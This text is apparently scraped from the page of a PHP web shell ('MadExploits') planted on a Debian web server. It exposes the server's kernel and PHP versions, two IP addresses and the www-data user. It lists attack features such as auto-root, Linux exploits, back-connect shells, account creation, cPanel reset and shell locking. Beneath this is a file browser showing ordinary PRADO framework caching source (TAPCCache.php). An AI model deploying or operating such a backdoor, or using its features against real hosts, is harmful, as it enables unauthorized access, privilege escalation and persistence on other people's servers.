Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.139.86.74
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Caching /
[ HOME SHELL ]
Name
Size
Permission
Action
ICache.php
2.34
KB
-rw-r--r--
ICacheDependency.php
682
B
-rw-r--r--
TAPCCache.php
4.1
KB
-rw-r--r--
TApplicationStateCacheDependen...
1.18
KB
-rw-r--r--
TCache.php
9.87
KB
-rw-r--r--
TCacheDependency.php
1.48
KB
-rw-r--r--
TCacheDependencyList.php
1.25
KB
-rw-r--r--
TChainedCacheDependency.php
1.55
KB
-rw-r--r--
TDbCache.php
17.73
KB
-rw-r--r--
TDirectoryCacheDependency.php
5.49
KB
-rw-r--r--
TEtcdCache.php
7.42
KB
-rw-r--r--
TFileCacheDependency.php
1.65
KB
-rw-r--r--
TGlobalStateCacheDependency.ph...
1.59
KB
-rw-r--r--
TMemCache.php
11.14
KB
-rw-r--r--
TRedisCache.php
8.92
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TAPCCache.php
<?php /** * TAPCCache class file * * @author Alban Hanry <compte_messagerie@hotmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Caching; use Prado\Exceptions\TConfigurationException; /** * TAPCCache class * * TAPCCache implements a cache application module based on {@link http://www.php.net/apcu APCu}. * * By definition, cache does not ensure the existence of a value * even if it never expires. Cache is not meant to be an persistent storage. * * To use this module, the APCu PHP extension must be loaded and set in the php.ini file. * * Some usage examples of TAPCCache are as follows, * <code> * $cache=new TAPCCache; // TAPCCache may also be loaded as a Prado application module * $cache->init(null); * $cache->add('object',$object); * $object2=$cache->get('object'); * </code> * * If loaded, TAPCCache will register itself with {@link TApplication} as the * cache module. It can be accessed via {@link TApplication::getCache()}. * * TAPCCache may be configured in application configuration file as follows * <code> * <module id="cache" class="Prado\Caching\TAPCCache" /> * </code> * * @author Alban Hanry <compte_messagerie@hotmail.com> * @author Knut Urdalen <knut.urdalen@gmail.com> * @since 3.0b */ class TAPCCache extends TCache { /** * Initializes this module. * This method is required by the IModule interface. * @param \Prado\Xml\TXmlElement $config configuration for this module, can be null * @throws TConfigurationException if apc extension is not installed or not started, check your php.ini */ public function init($config) { if (!extension_loaded('apcu')) { throw new TConfigurationException('apccache_extension_required'); } if (ini_get('apc.enabled') == false) { throw new TConfigurationException('apccache_extension_not_enabled'); } if (substr(php_sapi_name(), 0, 3) === 'cli' && ini_get('apc.enable_cli') == false) { throw new TConfigurationException('apccache_extension_not_enabled_cli'); } parent::init($config); } /** * Retrieves a value from cache with a specified key. * This is the implementation of the method declared in the parent class. * @param string $key a unique key identifying the cached value * @return false|string the value stored in cache, false if the value is not in the cache or expired. */ protected function getValue($key) { return apcu_fetch($key); } /** * Stores a value identified by a key in cache. * This is the implementation of the method declared in the parent class. * * @param string $key the key identifying the value to be cached * @param string $value the value to be cached * @param int $expire the number of seconds in which the cached value will expire. 0 means never expire. * @return bool true if the value is successfully stored into cache, false otherwise */ protected function setValue($key, $value, $expire) { return apcu_store($key, $value, $expire); } /** * Stores a value identified by a key into cache if the cache does not contain this key. * This is the implementation of the method declared in the parent class. * * @param string $key the key identifying the value to be cached * @param string $value the value to be cached * @param int $expire the number of seconds in which the cached value will expire. 0 means never expire. * @return bool true if the value is successfully stored into cache, false otherwise */ protected function addValue($key, $value, $expire) { return apcu_add($key, $value, $expire); } /** * Deletes a value with the specified key from cache * This is the implementation of the method declared in the parent class. * @param string $key the key of the value to be deleted * @return bool if no error happens during deletion */ protected function deleteValue($key) { return apcu_delete($key); } /** * Deletes all values from cache. * Be careful of performing this operation if the cache is shared by multiple applications. * @return bool if no error happens during flush */ public function flush() { return apcu_clear_cache(); } }
Close